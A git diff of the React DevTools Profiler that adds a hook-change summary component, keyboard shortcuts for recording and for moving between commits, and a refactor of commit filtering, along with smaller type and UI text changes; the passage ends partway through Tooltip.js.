diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/HookChangeSummary.js b/packages/react-devtools-shared/src/devtools/views/Profiler/HookChangeSummary.js
new file mode 100644
index 000000000000..5ce3eec42bc0
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/HookChangeSummary.js
@@ -0,0 +1,209 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+import {
+  useContext,
+  useMemo,
+  useCallback,
+  memo,
+  useState,
+  useEffect,
+} from 'react';
+import styles from './HookChangeSummary.css';
+import ButtonIcon from '../ButtonIcon';
+import {InspectedElementContext} from '../Components/InspectedElementContext';
+import {StoreContext} from '../context';
+
+import {getAlreadyLoadedHookNames} from 'react-devtools-shared/src/hookNamesCache';
+import {getHookSourceLocationKey} from 'react-devtools-shared/src/hookSourceLocation';
+import Toggle from '../Toggle';
+import type {HooksNode} from 'react-debug-tools/src/ReactDebugHooks';
+import type {ChangeDescription} from './types';
+
+// $FlowFixMe: Flow doesn't know about Intl.ListFormat
+const hookListFormatter = new Intl.ListFormat('en', {
+  style: 'long',
+  type: 'conjunction',
+});
+
+type HookProps = {
+  hook: HooksNode,
+  hookNames: Map<string, string> | null,
+};
+
+const Hook: component(...props: HookProps) = memo(
+  ({hook, hookNames}: HookProps) => {
+    const hookSource = hook.hookSource;
+    const hookName = useMemo(() => {
+      if (!hookSource || !hookNames) return null;
+      const key = getHookSourceLocationKey(hookSource);
+      return hookNames.get(key) || null;
+    }, [hookSource, hookNames]);
+
+    return (
+      <ul className={styles.Hook}>
+        <li>
+          {hook.id !== null && (
+            <span className={styles.PrimitiveHookNumber}>
+              {String(hook.id + 1)}
+            </span>
+          )}
+          <span
+            className={
+              hook.id !== null ? styles.PrimitiveHookName : styles.Name
+            }>
+            {hook.name}
+            {hookName && <span className={styles.HookName}>({hookName})</span>}
+          </span>
+          {hook.subHooks?.map((subHook, index) => (
+            <Hook key={hook.id} hook={subHook} hookNames={hookNames} />
+          ))}
+        </li>
+      </ul>
+    );
+  },
+);
+
+const shouldKeepHook = (
+  hook: HooksNode,
+  hooksArray: Array<number>,
+): boolean => {
+  if (hook.id !== null && hooksArray.includes(hook.id)) {
+    return true;
+  }
+  const subHooks = hook.subHooks;
+  if (subHooks == null) {
+    return false;
+  }
+
+  return subHooks.some(subHook => shouldKeepHook(subHook, hooksArray));
+};
+
+const filterHooks = (
+  hook: HooksNode,
+  hooksArray: Array<number>,
+): HooksNode | null => {
+  if (!shouldKeepHook(hook, hooksArray)) {
+    return null;
+  }
+
+  const subHooks = hook.subHooks;
+  if (subHooks == null) {
+    return hook;
+  }
+
+  const filteredSubHooks = subHooks
+    .map(subHook => filterHooks(subHook, hooksArray))
+    .filter(Boolean);
+  return filteredSubHooks.length > 0
+    ? {...hook, subHooks: filteredSubHooks}
+    : hook;
+};
+
+type Props = {|
+  fiberID: number,
+  hooks: ChangeDescription['hooks'],
+  state: ChangeDescription['state'],
+  displayMode?: 'detailed' | 'compact',
+|};
+
+const HookChangeSummary: component(...props: Props) = memo(
+  ({hooks, fiberID, state, displayMode = 'detailed'}: Props) => {
+    const {parseHookNames, toggleParseHookNames, inspectedElement} = useContext(
+      InspectedElementContext,
+    );
+    const store = useContext(StoreContext);
+
+    const [parseHookNamesOptimistic, setParseHookNamesOptimistic] =
+      useState<boolean>(parseHookNames);
+
+    useEffect(() => {
+      setParseHookNamesOptimistic(parseHookNames);
+    }, [inspectedElement?.id, parseHookNames]);
+
+    const handleOnChange = useCallback(() => {
+      setParseHookNamesOptimistic(!parseHookNames);
+      toggleParseHookNames();
+    }, [toggleParseHookNames, parseHookNames]);
+
+    const element = fiberID !== null ? store.getElementByID(fiberID) : null;
+    const hookNames =
+      element != null ? getAlreadyLoadedHookNames(element) : null;
+
+    const filteredHooks = useMemo(() => {
+      if (!hooks || !inspectedElement?.hooks) return null;
+      return inspectedElement.hooks
+        .map(hook => filterHooks(hook, hooks))
+        .filter(Boolean);
+    }, [inspectedElement?.hooks, hooks]);
+
+    const hookParsingFailed = parseHookNames && hookNames === null;
+
+    if (!hooks?.length) {
+      return <span>No hooks changed</span>;
+    }
+
+    if (
+      inspectedElement?.id !== element?.id ||
+      filteredHooks?.length !== hooks.length ||
+      displayMode === 'compact'
+    ) {
+      const hookIds = hooks.map(hookId => String(hookId + 1));
+      const hookWord = hookIds.length === 1 ? '• Hook' : '• Hooks';
+      return (
+        <span>
+          {hookWord} {hookListFormatter.format(hookIds)} changed
+        </span>
+      );
+    }
+
+    let toggleTitle: string;
+    if (hookParsingFailed) {
+      toggleTitle = 'Hook parsing failed';
+    } else if (parseHookNamesOptimistic) {
+      toggleTitle = 'Parsing hook names ...';
+    } else {
+      toggleTitle = 'Parse hook names (may be slow)';
+    }
+
+    if (filteredHooks == null) {
+      return null;
+    }
+
+    return (
+      <div>
+        {filteredHooks.length > 1 ? '• Hooks changed:' : '• Hook changed:'}
+        {(!parseHookNames || hookParsingFailed) && (
+          <Toggle
+            className={
+              hookParsingFailed
+                ? styles.ToggleError
+                : styles.LoadHookNamesToggle
+            }
+            isChecked={parseHookNamesOptimistic}
+            isDisabled={parseHookNamesOptimistic || hookParsingFailed}
+            onChange={handleOnChange}
+            title={toggleTitle}>
+            <ButtonIcon type="parse-hook-names" />
+          </Toggle>
+        )}
+        {filteredHooks.map(hook => (
+          <Hook
+            key={`${inspectedElement?.id ?? 'unknown'}-${hook.id}`}
+            hook={hook}
+            hookNames={hookNames}
+          />
+        ))}
+      </div>
+    );
+  },
+);
+
+export default HookChangeSummary;
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/HoveredFiberInfo.js b/packages/react-devtools-shared/src/devtools/views/Profiler/HoveredFiberInfo.js
index 51f82038d348..a6dfeffb3e20 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/HoveredFiberInfo.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/HoveredFiberInfo.js
@@ -93,9 +93,9 @@ export default function HoveredFiberInfo({fiberData}: Props): React.Node {
         )}
 
         <div className={styles.Content}>
-          {renderDurationInfo || <div>Did not render.</div>}
+          {renderDurationInfo || <div>Did not client render.</div>}
 
-          <WhatChanged fiberID={id} />
+          <WhatChanged fiberID={id} displayMode="compact" />
         </div>
       </div>
     </Fragment>
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/Profiler.js b/packages/react-devtools-shared/src/devtools/views/Profiler/Profiler.js
index cb06c98f933a..6254be06d832 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/Profiler.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/Profiler.js
@@ -8,7 +8,7 @@
  */
 
 import * as React from 'react';
-import {Fragment, useContext} from 'react';
+import {Fragment, useContext, useEffect, useRef, useEffectEvent} from 'react';
 import {ModalDialog} from '../ModalDialog';
 import {ProfilerContext} from './ProfilerContext';
 import TabBar from '../TabBar';
@@ -38,6 +38,11 @@ import {TimelineContext} from 'react-devtools-timeline/src/TimelineContext';
 import styles from './Profiler.css';
 
 function Profiler(_: {}) {
+  const profilerRef = useRef<HTMLDivElement | null>(null);
+  const isMac =
+    typeof navigator !== 'undefined' &&
+    navigator.platform.toUpperCase().indexOf('MAC') >= 0;
+
   const {
     didRecordCommits,
     isProcessingData,
@@ -47,6 +52,10 @@ function Profiler(_: {}) {
     selectedTabID,
     selectTab,
     supportsProfiling,
+    startProfiling,
+    stopProfiling,
+    selectPrevCommitIndex,
+    selectNextCommitIndex,
   } = useContext(ProfilerContext);
 
   const {file: timelineTraceEventData, searchInputContainerRef} =
@@ -56,6 +65,50 @@ function Profiler(_: {}) {
 
   const isLegacyProfilerSelected = selectedTabID !== 'timeline';
 
+  const handleKeyDown = useEffectEvent((event: KeyboardEvent) => {
+    const correctModifier = isMac ? event.metaKey : event.ctrlKey;
+    // Cmd+E to start/stop profiler recording
+    if (correctModifier && event.key === 'e') {
+      if (isProfiling) {
+        stopProfiling();
+      } else {
+        startProfiling();
+      }
+      event.preventDefault();
+      event.stopPropagation();
+    } else if (
+      isLegacyProfilerSelected &&
+      didRecordCommits &&
+      selectedCommitIndex !== null
+    ) {
+      // Cmd+Left/Right (Mac) or Ctrl+Left/Right (Windows/Linux) to navigate commits
+      if (
+        correctModifier &&
+        (event.key === 'ArrowLeft' || event.key === 'ArrowRight')
+      ) {
+        if (event.key === 'ArrowLeft') {
+          selectPrevCommitIndex();
+        } else {
+          selectNextCommitIndex();
+        }
+        event.preventDefault();
+        event.stopPropagation();
+      }
+    }
+  });
+
+  useEffect(() => {
+    const div = profilerRef.current;
+    if (!div) {
+      return;
+    }
+    const ownerWindow = div.ownerDocument.defaultView;
+    ownerWindow.addEventListener('keydown', handleKeyDown);
+    return () => {
+      ownerWindow.removeEventListener('keydown', handleKeyDown);
+    };
+  }, []);
+
   let view = null;
   if (didRecordCommits || selectedTabID === 'timeline') {
     switch (selectedTabID) {
@@ -112,7 +165,7 @@ function Profiler(_: {}) {
 
   return (
     <SettingsModalContextController>
-      <div className={styles.Profiler}>
+      <div ref={profilerRef} className={styles.Profiler}>
         <div className={styles.LeftColumn}>
           <div className={styles.Toolbar}>
             <RecordToggle disabled={!supportsProfiling} />
@@ -190,4 +243,4 @@ const tabsWithTimeline = [
   },
 ];
 
-export default (portaledContent(Profiler): React.ComponentType<{}>);
+export default (portaledContent(Profiler): component());
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/ProfilerContext.js b/packages/react-devtools-shared/src/devtools/views/Profiler/ProfilerContext.js
index f4ebc26a0725..d593558dbdd1 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/ProfilerContext.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/ProfilerContext.js
@@ -10,8 +10,14 @@
 import type {ReactContext} from 'shared/ReactTypes';
 
 import * as React from 'react';
-import {createContext, useCallback, useContext, useMemo, useState} from 'react';
-import {unstable_batchedUpdates as batchedUpdates} from 'react-dom';
+import {
+  createContext,
+  useCallback,
+  useContext,
+  useMemo,
+  useState,
+  useEffect,
+} from 'react';
 import {useLocalStorage, useSubscription} from '../hooks';
 import {
   TreeDispatcherContext,
@@ -19,8 +25,9 @@ import {
 } from '../Components/TreeContext';
 import {StoreContext} from '../context';
 import {logEvent} from 'react-devtools-shared/src/Logger';
+import {useCommitFilteringAndNavigation} from './useCommitFilteringAndNavigation';
 
-import type {ProfilingDataFrontend} from './types';
+import type {CommitDataFrontend, ProfilingDataFrontend} from './types';
 
 export type TabID = 'flame-chart' | 'ranked-chart' | 'timeline';
 
@@ -62,6 +69,12 @@ export type Context = {
   // It impacts the flame graph and ranked charts.
   selectedCommitIndex: number | null,
   selectCommitIndex: (value: number | null) => void,
+  selectNextCommitIndex(): void,
+  selectPrevCommitIndex(): void,
+
+  // Which commits are currently filtered by duration?
+  filteredCommitIndices: Array<number>,
+  selectedFilteredCommitIndex: number | null,
 
   // Which fiber is currently selected in the Ranked or Flamegraph charts?
   selectedFiberID: number | null,
@@ -88,7 +101,7 @@ type Props = {
 
 function ProfilerContextController({children}: Props): React.Node {
   const store = useContext(StoreContext);
-  const {selectedElementID} = useContext(TreeStateContext);
+  const {inspectedElementID} = useContext(TreeStateContext);
   const dispatch = useContext(TreeDispatcherContext);
 
   const {profilerStore} = store;
@@ -98,7 +111,7 @@ function ProfilerContextController({children}: Props): React.Node {
       getCurrentValue: () => ({
         didRecordCommits: profilerStore.didRecordCommits,
         isProcessingData: profilerStore.isProcessingData,
-        isProfiling: profilerStore.isProfiling,
+        isProfiling: profilerStore.isProfilingBasedOnUserInput,
         profilingData: profilerStore.profilingData,
         supportsProfiling: store.rootSupportsBasicProfiling,
       }),
@@ -165,44 +178,32 @@ function ProfilerContextController({children}: Props): React.Node {
     [setRootID, selectFiber],
   );
 
+  // Sync rootID with profilingData changes.
   if (prevProfilingData !== profilingData) {
-    batchedUpdates(() => {
-      setPrevProfilingData(profilingData);
-
-      const dataForRoots =
-        profilingData !== null ? profilingData.dataForRoots : null;
-      if (dataForRoots != null) {
-        const firstRootID = dataForRoots.keys().next().value || null;
-
-        if (rootID === null || !dataForRoots.has(rootID)) {
-          let selectedElementRootID = null;
-          if (selectedElementID !== null) {
-            selectedElementRootID =
-              store.getRootIDForElement(selectedElementID);
-          }
-          if (
-            selectedElementRootID !== null &&
-            dataForRoots.has(selectedElementRootID)
-          ) {
-            setRootIDAndClearFiber(selectedElementRootID);
-          } else {
-            setRootIDAndClearFiber(firstRootID);
-          }
+    setPrevProfilingData(profilingData);
+
+    const dataForRoots =
+      profilingData !== null ? profilingData.dataForRoots : null;
+    if (dataForRoots != null) {
+      const firstRootID = dataForRoots.keys().next().value || null;
+
+      if (rootID === null || !dataForRoots.has(rootID)) {
+        let selectedElementRootID = null;
+        if (inspectedElementID !== null) {
+          selectedElementRootID = store.getRootIDForElement(inspectedElementID);
+        }
+        if (
+          selectedElementRootID !== null &&
+          dataForRoots.has(selectedElementRootID)
+        ) {
+          setRootIDAndClearFiber(selectedElementRootID);
+        } else {
+          setRootIDAndClearFiber(firstRootID);
         }
       }
-    });
+    }
   }
 
-  const [isCommitFilterEnabled, setIsCommitFilterEnabled] =
-    useLocalStorage<boolean>('React::DevTools::isCommitFilterEnabled', false);
-  const [minCommitDuration, setMinCommitDuration] = useLocalStorage<number>(
-    'minCommitDuration',
-    0,
-  );
-
-  const [selectedCommitIndex, selectCommitIndex] = useState<number | null>(
-    null,
-  );
   const [selectedTabID, selectTab] = useLocalStorage<TabID>(
     'React::DevTools::Profiler::defaultTab',
     'flame-chart',
@@ -216,29 +217,66 @@ function ProfilerContextController({children}: Props): React.Node {
     },
   );
 
+  const stopProfiling = useCallback(
+    () => store.profilerStore.stopProfiling(),
+    [store],
+  );
+
+  // Get commit data for the current root
+  // NOTE: Unlike profilerStore.getDataForRoot() which uses Suspense (throws when data unavailable),
+  // this uses subscription pattern and returns [] when data isn't ready.
+  // Always check didRecordCommits before using commitData or filteredCommitIndices.
+  const commitData = useMemo(() => {
+    if (!didRecordCommits || rootID === null || profilingData === null) {
+      return ([]: Array<CommitDataFrontend>);
+    }
+    const dataForRoot = profilingData.dataForRoots.get(rootID);
+    return dataForRoot
+      ? dataForRoot.commitData
+      : ([]: Array<CommitDataFrontend>);
+  }, [didRecordCommits, rootID, profilingData]);
+
+  // Commit filtering and navigation
+  const {
+    isCommitFilterEnabled,
+    setIsCommitFilterEnabled,
+    minCommitDuration,
+    setMinCommitDuration,
+    selectedCommitIndex,
+    selectCommitIndex,
+    filteredCommitIndices,
+    selectedFilteredCommitIndex,
+    selectNextCommitIndex,
+    selectPrevCommitIndex,
+  } = useCommitFilteringAndNavigation(commitData);
+
   const startProfiling = useCallback(() => {
     logEvent({
       event_name: 'profiling-start',
       metadata: {current_tab: selectedTabID},
     });
-    store.profilerStore.startProfiling();
-  }, [store, selectedTabID]);
-  const stopProfiling = useCallback(
-    () => store.profilerStore.stopProfiling(),
-    [store],
-  );
 
-  if (isProfiling) {
-    batchedUpdates(() => {
-      if (selectedCommitIndex !== null) {
-        selectCommitIndex(null);
-      }
-      if (selectedFiberID !== null) {
-        selectFiberID(null);
-        selectFiberName(null);
+    // Clear selections when starting a new profiling session
+    selectCommitIndex(null);
+    selectFiberID(null);
+    selectFiberName(null);
+
+    store.profilerStore.startProfiling();
+  }, [store, selectedTabID, selectCommitIndex]);
+
+  // Auto-select first commit when profiling data becomes available and no commit is selected.
+  useEffect(() => {
+    if (
+      profilingData !== null &&
+      selectedCommitIndex === null &&
+      rootID !== null
+    ) {
+      const dataForRoot = profilingData.dataForRoots.get(rootID);
+      if (dataForRoot && dataForRoot.commitData.length > 0) {
+        selectCommitIndex(0);
       }
-    });
-  }
+    }
+  }, [profilingData, rootID, selectCommitIndex]);
 
   const value = useMemo(
     () => ({
@@ -263,6 +301,10 @@ function ProfilerContextController({children}: Props): React.Node {
 
       selectedCommitIndex,
       selectCommitIndex,
+      selectNextCommitIndex,
+      selectPrevCommitIndex,
+      filteredCommitIndices,
+      selectedFilteredCommitIndex,
 
       selectedFiberID,
       selectedFiberName,
@@ -281,7 +323,6 @@ function ProfilerContextController({children}: Props): React.Node {
       supportsProfiling,
 
       rootID,
-      setRootID,
       setRootIDAndClearFiber,
 
       isCommitFilterEnabled,
@@ -291,6 +332,10 @@ function ProfilerContextController({children}: Props): React.Node {
 
       selectedCommitIndex,
       selectCommitIndex,
+      selectNextCommitIndex,
+      selectPrevCommitIndex,
+      filteredCommitIndices,
+      selectedFilteredCommitIndex,
 
       selectedFiberID,
       selectedFiberName,
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/RecordToggle.js b/packages/react-devtools-shared/src/devtools/views/Profiler/RecordToggle.js
index 7e79df9e0814..6aa48a3cefa3 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/RecordToggle.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/RecordToggle.js
@@ -30,13 +30,19 @@ export default function RecordToggle({disabled}: Props): React.Node {
     className = styles.ActiveRecordToggle;
   }
 
+  const isMac =
+    typeof navigator !== 'undefined' &&
+    navigator.platform.toUpperCase().indexOf('MAC') >= 0;
+  const shortcut = isMac ? '⌘E' : 'Ctrl+E';
+  const title = `${isProfiling ? 'Stop' : 'Start'} profiling - ${shortcut}`;
+
   return (
     <Button
       className={className}
       disabled={disabled}
       onClick={isProfiling ? stopProfiling : startProfiling}
       testName="ProfilerToggleButton"
-      title={isProfiling ? 'Stop profiling' : 'Start profiling'}>
+      title={title}>
       <ButtonIcon type="record" />
     </Button>
   );
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/ReloadAndProfileButton.js b/packages/react-devtools-shared/src/devtools/views/Profiler/ReloadAndProfileButton.js
index 90dba6f7d835..95ac82a97323 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/ReloadAndProfileButton.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/ReloadAndProfileButton.js
@@ -54,8 +54,11 @@ export default function ReloadAndProfileButton({
     // For now, let's just skip doing it entirely to avoid paying snapshot costs for data we don't need.
     // startProfiling();
 
-    bridge.send('reloadAndProfile', recordChangeDescriptions);
-  }, [bridge, recordChangeDescriptions]);
+    bridge.send('reloadAndProfile', {
+      recordChangeDescriptions,
+      recordTimeline: store.supportsTimeline,
+    });
+  }, [bridge, recordChangeDescriptions, store]);
 
   if (!supportsReloadAndProfile) {
     return null;
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/SidebarEventInfo.js b/packages/react-devtools-shared/src/devtools/views/Profiler/SidebarEventInfo.js
index 6797d5274929..8b55e0f8c0c0 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/SidebarEventInfo.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/SidebarEventInfo.js
@@ -8,32 +8,53 @@
  */
 
 import type {SchedulingEvent} from 'react-devtools-timeline/src/types';
+import type {ReactFunctionLocation} from 'shared/ReactTypes';
 
 import * as React from 'react';
 import Button from '../Button';
 import ButtonIcon from '../ButtonIcon';
-import ViewElementSourceContext from '../Components/ViewElementSourceContext';
 import {useContext} from 'react';
 import {TimelineContext} from 'react-devtools-timeline/src/TimelineContext';
 import {
   formatTimestamp,
   getSchedulingEventLabel,
 } from 'react-devtools-timeline/src/utils/formatting';
-import {stackToComponentSources} from 'react-devtools-shared/src/devtools/utils';
+import {stackToComponentLocations} from 'react-devtools-shared/src/devtools/utils';
 import {copy} from 'clipboard-js';
+import {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';
+import useOpenResource from '../useOpenResource';
 
 import styles from './SidebarEventInfo.css';
 
 export type Props = {};
 
+type FunctionLocationProps = {
+  location: ReactFunctionLocation,
+  displayName: string,
+};
+function FunctionLocation({location, displayName}: FunctionLocationProps) {
+  // TODO: We should support symbolication here as well, but
+  // symbolicating the whole stack can be expensive
+  const [canViewSource, viewSource] = useOpenResource(location, null);
+  return (
+    <li>
+      <Button
+        className={
+          canViewSource ? styles.ClickableSource : styles.UnclickableSource
+        }
+        disabled={!canViewSource}
+        onClick={viewSource}>
+        {displayName}
+      </Button>
+    </li>
+  );
+}
+
 type SchedulingEventProps = {
   eventInfo: SchedulingEvent,
 };
 
 function SchedulingEventInfo({eventInfo}: SchedulingEventProps) {
-  const {canViewElementSourceFunction, viewElementSourceFunction} = useContext(
-    ViewElementSourceContext,
-  );
   const {componentName, timestamp} = eventInfo;
   const componentStack = eventInfo.componentStack || null;
 
@@ -53,15 +74,18 @@ function SchedulingEventInfo({eventInfo}: SchedulingEventProps) {
               <div className={styles.Row}>
                 <label className={styles.Label}>Rendered by</label>
                 <Button
-                  onClick={() => copy(componentStack)}
+                  onClick={withPermissionsCheck(
+                    {permissions: ['clipboardWrite']},
+                    () => copy(componentStack),
+                  )}
                   title="Copy component stack to clipboard">
                   <ButtonIcon type="copy" />
                 </Button>
               </div>
               <ul className={styles.List}>
-                {stackToComponentSources(componentStack).map(
-                  ([displayName, stack], index) => {
-                    if (stack == null) {
+                {stackToComponentLocations(componentStack).map(
+                  ([displayName, location], index) => {
+                    if (location == null) {
                       return (
                         <li key={index}>
                           <Button
@@ -73,32 +97,12 @@ function SchedulingEventInfo({eventInfo}: SchedulingEventProps) {
                       );
                     }
 
-                    // TODO: We should support symbolication here as well, but
-                    // symbolicating the whole stack can be expensive
-                    const [sourceURL, line, column] = stack;
-                    const source = {sourceURL, line, column};
-                    const canViewSource =
-                      canViewElementSourceFunction == null ||
-                      canViewElementSourceFunction(source, null);
-
-                    const viewSource =
-                      !canViewSource || viewElementSourceFunction == null
-                        ? () => null
-                        : () => viewElementSourceFunction(source, null);
-
                     return (
-                      <li key={index}>
-                        <Button
-                          className={
-                            canViewSource
-                              ? styles.ClickableSource
-                              : styles.UnclickableSource
-                          }
-                          disabled={!canViewSource}
-                          onClick={viewSource}>
-                          {displayName}
-                        </Button>
-                      </li>
+                      <FunctionLocation
+                        key={index}
+                        displayName={displayName}
+                        location={location}
+                      />
                     );
                   },
                 )}
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/SidebarSelectedFiberInfo.js b/packages/react-devtools-shared/src/devtools/views/Profiler/SidebarSelectedFiberInfo.js
index 2eca7b0fdad3..d785cfebdacd 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/SidebarSelectedFiberInfo.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/SidebarSelectedFiberInfo.js
@@ -142,7 +142,7 @@ export default function SidebarSelectedFiberInfo(): React.Node {
           </div>
         )}
         {listItems.length === 0 && (
-          <div>Did not render during this profiling session.</div>
+          <div>Did not render on the client during this profiling session.</div>
         )}
       </div>
     </Fragment>
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotCommitListItem.js b/packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotCommitListItem.js
index c013ec759587..d9f80f005319 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotCommitListItem.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotCommitListItem.js
@@ -96,7 +96,6 @@ function SnapshotCommitListItem({data: itemData, index, style}: Props) {
   );
 }
 
-export default (memo(
-  SnapshotCommitListItem,
-  areEqual,
-): React.ComponentType<Props>);
+export default (memo(SnapshotCommitListItem, areEqual): component(
+  ...props: Props
+));
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotSelector.js b/packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotSelector.js
index 088ca0325d00..0d470ddb0003 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotSelector.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/SnapshotSelector.js
@@ -8,7 +8,7 @@
  */
 
 import * as React from 'react';
-import {Fragment, useContext, useMemo} from 'react';
+import {Fragment, useContext} from 'react';
 import Button from '../Button';
 import ButtonIcon from '../ButtonIcon';
 import {ProfilerContext} from './ProfilerContext';
@@ -22,11 +22,13 @@ export type Props = {};
 
 export default function SnapshotSelector(_: Props): React.Node {
   const {
-    isCommitFilterEnabled,
-    minCommitDuration,
     rootID,
     selectedCommitIndex,
     selectCommitIndex,
+    selectPrevCommitIndex,
+    selectNextCommitIndex,
+    filteredCommitIndices,
+    selectedFilteredCommitIndex,
   } = useContext(ProfilerContext);
 
   const {profilerStore} = useContext(StoreContext);
@@ -43,47 +45,8 @@ export default function SnapshotSelector(_: Props): React.Node {
     commitTimes.push(commitDatum.timestamp);
   });
 
-  const filteredCommitIndices = useMemo(
-    () =>
-      commitData.reduce((reduced: $FlowFixMe, commitDatum, index) => {
-        if (
-          !isCommitFilterEnabled ||
-          commitDatum.duration >= minCommitDuration
-        ) {
-          reduced.push(index);
-        }
-        return reduced;
-      }, []),
-    [commitData, isCommitFilterEnabled, minCommitDuration],
-  );
-
   const numFilteredCommits = filteredCommitIndices.length;
 
-  // Map the (unfiltered) selected commit index to an index within the filtered data.
-  const selectedFilteredCommitIndex = useMemo(() => {
-    if (selectedCommitIndex !== null) {
-      for (let i = 0; i < filteredCommitIndices.length; i++) {
-        if (filteredCommitIndices[i] === selectedCommitIndex) {
-          return i;
-        }
-      }
-    }
-    return null;
-  }, [filteredCommitIndices, selectedCommitIndex]);
-
-  // TODO (ProfilerContext) This should be managed by the context controller (reducer).
-  // It doesn't currently know about the filtered commits though (since it doesn't suspend).
-  // Maybe this component should pass filteredCommitIndices up?
-  if (selectedFilteredCommitIndex === null) {
-    if (numFilteredCommits > 0) {
-      selectCommitIndex(0);
-    } else {
-      selectCommitIndex(null);
-    }
-  } else if (selectedFilteredCommitIndex >= numFilteredCommits) {
-    selectCommitIndex(numFilteredCommits === 0 ? null : numFilteredCommits - 1);
-  }
-
   let label = null;
   if (numFilteredCommits > 0) {
     // $FlowFixMe[missing-local-annot]
@@ -110,11 +73,11 @@ export default function SnapshotSelector(_: Props): React.Node {
     const handleKeyDown = event => {
       switch (event.key) {
         case 'ArrowDown':
-          viewPrevCommit();
+          selectPrevCommitIndex();
           event.stopPropagation();
           break;
         case 'ArrowUp':
-          viewNextCommit();
+          selectNextCommitIndex();
           event.stopPropagation();
           break;
         default:
@@ -147,30 +110,15 @@ export default function SnapshotSelector(_: Props): React.Node {
     );
   }
 
-  const viewNextCommit = () => {
-    let nextCommitIndex = ((selectedFilteredCommitIndex: any): number) + 1;
-    if (nextCommitIndex === filteredCommitIndices.length) {
-      nextCommitIndex = 0;
-    }
-    selectCommitIndex(filteredCommitIndices[nextCommitIndex]);
-  };
-  const viewPrevCommit = () => {
-    let nextCommitIndex = ((selectedFilteredCommitIndex: any): number) - 1;
-    if (nextCommitIndex < 0) {
-      nextCommitIndex = filteredCommitIndices.length - 1;
-    }
-    selectCommitIndex(filteredCommitIndices[nextCommitIndex]);
-  };
-
   // $FlowFixMe[missing-local-annot]
   const handleKeyDown = event => {
     switch (event.key) {
       case 'ArrowLeft':
-        viewPrevCommit();
+        selectPrevCommitIndex();
         event.stopPropagation();
         break;
       case 'ArrowRight':
-        viewNextCommit();
+        selectNextCommitIndex();
         event.stopPropagation();
         break;
       default:
@@ -193,8 +141,8 @@ export default function SnapshotSelector(_: Props): React.Node {
         className={styles.Button}
         data-testname="SnapshotSelector-PreviousButton"
         disabled={numFilteredCommits === 0}
-        onClick={viewPrevCommit}
-        title="Select previous commit">
+        onClick={selectPrevCommitIndex}
+        title="Select previous commit ←">
         <ButtonIcon type="previous" />
       </Button>
       <div
@@ -227,8 +175,8 @@ export default function SnapshotSelector(_: Props): React.Node {
         className={styles.Button}
         data-testname="SnapshotSelector-NextButton"
         disabled={numFilteredCommits === 0}
-        onClick={viewNextCommit}
-        title="Select next commit">
+        onClick={selectNextCommitIndex}
+        title="Select next commit →">
         <ButtonIcon type="next" />
       </Button>
     </Fragment>
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/Tooltip.js b/packages/react-devtools-shared/src/devtools/views/Profiler/Tooltip.js
index b43f51cb04e2..124be4286d1a 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/Tooltip.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/Tooltip.js
@@ -4,6 +4,7 @@ import * as React from 'react';
 import {useRef} from 'react';
 
 import styles from './Tooltip.css';
+import typeof {SyntheticMouseEvent} from 'react-dom-bindings/src/events/SyntheticEvent';
 
 const initialTooltipState = {height: 0, mouseX: 0, mouseY: 0, width: 0};
 
@@ -17,7 +18,7 @@ export default function Tooltip({
   const tooltipRef = useRef(null);
 
   // update the position of the tooltip based on current mouse position
-  const updateTooltipPosition = (event: SyntheticMouseEvent<EventTarget>) => {
+  const updateTooltipPosition = (event: SyntheticMouseEvent) => {
     const element = tooltipRef.current;
     if (element != null) {
       // first find the mouse position
@@ -30,7 +31,7 @@ export default function Tooltip({
     }
   };
 
-  const onMouseMove = (event: SyntheticMouseEvent<EventTarget>) => {
+  const onMouseMove = (event: SyntheticMouseEvent) => {
     updateTooltipPosition(event);
   };
 
@@ -63,7 +64,7 @@ function getTooltipPosition(
     mouseY: number,
     width: number,
   },
-) {
+): {left: string, top: string} {
   const {height, mouseX, mouseY, width} = mousePosition;
   let top: number | string = 0;
   let left: number | string = 0;
@@ -94,7 +95,7 @@ function getTooltipPosition(
 // method used to find the current mouse position inside the container
 function getMousePosition(
   relativeContainer: null,
-  mouseEvent: SyntheticMouseEvent<EventTarget>,
+  mouseEvent: SyntheticMouseEvent,
 ) {
   if (relativeContainer !== null) {
     // Position within the nearest position:relative container.
@@ -107,7 +108,13 @@ function getMousePosition(
       }
     }
 
